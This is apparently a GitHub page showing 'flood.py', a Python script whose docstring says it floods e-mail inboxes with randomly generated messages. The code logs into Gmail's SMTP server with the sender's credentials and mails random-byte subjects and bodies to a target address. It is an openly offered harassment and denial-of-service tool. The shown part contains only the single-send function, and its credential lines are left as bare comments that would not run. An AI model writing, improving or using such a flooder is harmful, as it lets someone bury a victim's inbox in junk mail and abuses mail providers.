-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathflood.py
78 lines (54 loc) · 2.09 KB
/
flood.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
"""
Flood
Programmed by: Paramon Yevstigneyev
Programmed in: Python 3.9.6 (64-Bit)
Description:
Floods E-Mail Inboxes with randomly generated E-Mails.
"""
# Used for making E-Mail Headers
import email
# Used for sending (or flooding) e-mails
import smtplib
# Used for selecting E-mail Flooders
import random
# Used for generating random bytes for the E-Mail subject and message
import secrets
from email.message import EmailMessage
def email_inbox(reciver_email):
"""
Sends (or floods) the reciver E-Mail.
"""
try:
# Makes SMTP Server
smtp = smtplib.SMTP("smtp.gmail.com", 587)
# Starts SMTP Server
smtp.starttls()
# These strings contain the e-mail and password for the flooder
flooder_email = #specify your email address for flooding
flooder_passwd = # specify the password for the email flooder
# Logs Flooder E-Mail in to SMTP Server
smtp.login(flooder_email, flooder_passwd)
# Makes E-Mail message
outgoing_flooder = EmailMessage()
# Adds Flooder E-Mail to 'From' Header
outgoing_flooder["From"] = flooder_email
# Adds Reciver E-Mail to 'To' Header
outgoing_flooder["To"] = reciver_email
# Adds Randomly generated bytes to 'Subject' header
rand_subject = secrets.token_bytes(random.randint(1, 10))
outgoing_flooder["Subject"] = str(rand_subject)
# Adds Randomly Generated bytes to 'Message' header
rand_message = secrets.token_bytes(random.randint(1, 10))
outgoing_flooder.set_content(str(rand_message))
# Sends (or floods) emails to the reciver e-mail
smtp.sendmail(from_addr=flooder_email, to_addrs=reciver_email, msg=str(outgoing_flooder))
# When the User presses 'Ctrl + C' or 'Ctrl + Z' it will close the connection to the SMTP Server
except KeyboardInterrupt:
smtp.quit()
smtp.close()
pass
# If any exception occurs, it will end the flooder.
except:
smtp.quit()
smtp.close()
pass